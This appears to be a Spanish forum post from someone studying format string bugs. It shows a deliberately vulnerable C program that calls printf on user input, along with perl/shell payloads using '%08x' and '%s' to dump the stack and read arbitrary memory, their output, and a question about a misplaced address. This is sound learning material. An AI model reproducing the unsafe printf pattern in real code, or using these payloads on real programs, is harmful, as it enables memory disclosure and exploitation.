veréis estoy intentando aprobecharme de la vulnerabilidad de la cadena de formato, principalmente intentando leer una direccion de memoria arbitraria gracias a printf y a %s. El funcionamiento es el siguiente,
tengo un fmt_vuln.c que es algo asi
Código:
...
int main(int argc, char *argv[])
...
strcpy(text,argv[1]);
printf(text);
...
}
toma el argumento 1, que es un string, lo copia en text y lo imprime
ahora vayamos con las pruebas
Citar
usuario@usuario:~/Hacking$ ./fmt_vuln AAAA.$(perl -e 'print "%08x."x8')
AAAA.bf87a1b0.b7f60585.b7df9c20.bf87a654.00000001.b7f7cff4.7c96f087.41414141.
AAAA.bf87a1b0.b7f60585.b7df9c20.bf87a654.00000001.b7f7cff4.7c96f087.41414141.
lo que hago aquí es enviar una cadena AAAA y, usando la bash y perl, quiero ver que hay en la pila, bajo el marco de la función, haciendo uso de la vulnerabilidad de printf al intentar leer el formato de cadena
el resultado el que sigue: veo la cadena AAAA, al principio, luego varias cosas en memoria y al final 41414141, que es donde está almacenada mi cadena AAAA (\x41 en codigo ASCII es A). Ahora bien, si yo en vez de usar %x, usara %s, en el formato de cadena, debería leerme el contenido de la dirección de memoria que se pasara como parametro, pero como no hay parametro, si pongo,
Citar
usuario@usuario:~/Hacking$ ./fmt_vuln AAAA.$(perl -e 'print "%08x."x7').%s
intentaría acceder a la dirección 41414141. Lógico esto no existe. Entonces intento insertar una dirección que sí exista. Voy a crear una variable PATH y localizar su direccion en memoria
Citar
env | grep PATH
a traves de un código, averiguo que PATH está en
Citar
PATH will be at 0xbf9e4d49
pues si yo introduzco esa dirección, invirtiendola debido a la arquitectura de la memoria, de la misma forma que hice antes, debería de aparecer en memoria
Citar
usuario@usuario:~/Hacking$ ./fmt_vuln $(perl -e 'print "\x49\x9d\9e\xbf"').$(perl -e 'print "%08x."x12')
pero no, el resultado que me da es
Citar
I�9e�.bfc1bd40.b7eff585.b7d98c20.bfc1c1e4.00000001.b7f1bff4.7c96f087.65399d49.30252ebf.252e7838.2e783830.78383025.
y fijaros en varias cosas, al principio tengo mi dirección, luego información de memoria y al final aparecen unos valores repetidos \x30\x25\x2e\x78\x38 que si comprobáis como codigo ASCII esto son los valores correspondientes a %08x.
y aquí viene mi pregunta, ¿donde está mi direccion "\x49\x9d\9e\xbf"? porque debería de estar antes de esos valores.
Espero entiendan la explicación y el problema, gracias!